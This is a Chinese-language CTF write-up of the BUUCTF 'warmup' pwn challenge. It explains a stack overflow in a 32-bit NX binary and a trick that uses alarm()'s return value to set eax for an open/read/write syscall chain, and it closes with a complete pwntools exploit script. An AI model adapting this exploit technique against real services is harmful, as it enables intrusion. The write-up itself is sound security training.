warmup【buuctf-pwn】
这是我目前遇到过的一道很有意思的栈题 利用了alram函数来修改我们的eax的值
此题告诉我们当我们需要修改eax时我们的目光可以不仅仅局限于gadget 也可以通过其他函数来达成同样的效果
惯例我们先来checksec一下 仅开启了NX保护的32位程序
我们放进ida里看看
可以看到在函数开头我们这里有一个alarm函数这里首先让我们来介绍一下alarm函数的特点
当程序已经运行了一个alarm函数时 此时我们再次执行另一个alarm函数 就会返回第一个alarm函数所设定的时间将去已经经过的时间
点进vuln函数
我们可以发现此处存在一个栈溢出 但是由于我们开启了NX保护 并且长度也不够 因此无法通过ret2shellcode的方法达成目的
此处我们需要注意的点是由于该函数开头并没有push ebp因此offset的大小为0x20 不用加上ebp的长度
审题结束 开始解题
题目提供给我们了systemcall函数因此我们考虑使用系统调用号来达成目的
由于我们无法执行execve(11,0,0)
因为我们想要执行该函数的时候无法保证后两个参数皆为0
那么我们就考虑使用orw来执行
那么我们该如何执行open函数呢 open函数的调用号为5 因此我们考虑使用alarm函数将eax赋值为5
sleep(5)
payload = b'a'*0x20 + p32(alarm) + p32(syscall) + p32(vuln) + p32(data_addr) + p32(0)
io.send(payload)
接下来就简单了 我们直接调用read 和write函数达成orw 将flag写到data段上也有可读可写
最终成功获取到flag
exp:
from pwn import *
#io = process('./warmup' )
context.log_level="debug"
io = remote( 'node4.buuoj.cn', 28313)
alarm = 0x804810d
vuln = 0x804815a
write_addr = 0x8048135
data_addr = 0x80491bc
syscall = 0x804813a
read_addr = 0x804811d
payload = b'a'*0x20 + p32(read_addr) + p32(vuln) + p32(0) + p32(data_addr) + p32(0x10)
io.send(payload)
io.recvuntil('Good Luck!\n')
io.send(b'flag\x00\n' )
sleep(5)
payload = b'a'*0x20 + p32(alarm) + p32(syscall) + p32(vuln) + p32(data_addr) + p32(0)
io.send(payload)
io.recvuntil('Good Luck!\n')
payload = b'a'*0x20 + p32(read_addr) + p32(vuln) + p32(3) + p32(data_addr) + p32 (0x40)
io.send(payload )
io.recvuntil('Good Luck!\n')
payload=b'a'*0x20 + p32(write_addr) + p32(vuln) + p32(1) + p32(data_addr) + p32 (0x40)
io.send(payload)
io.interactive()
参考 穿林打叶声吧师傅的b站视频 PWN buuctf刷题 - warmup_哔哩哔哩_bilibili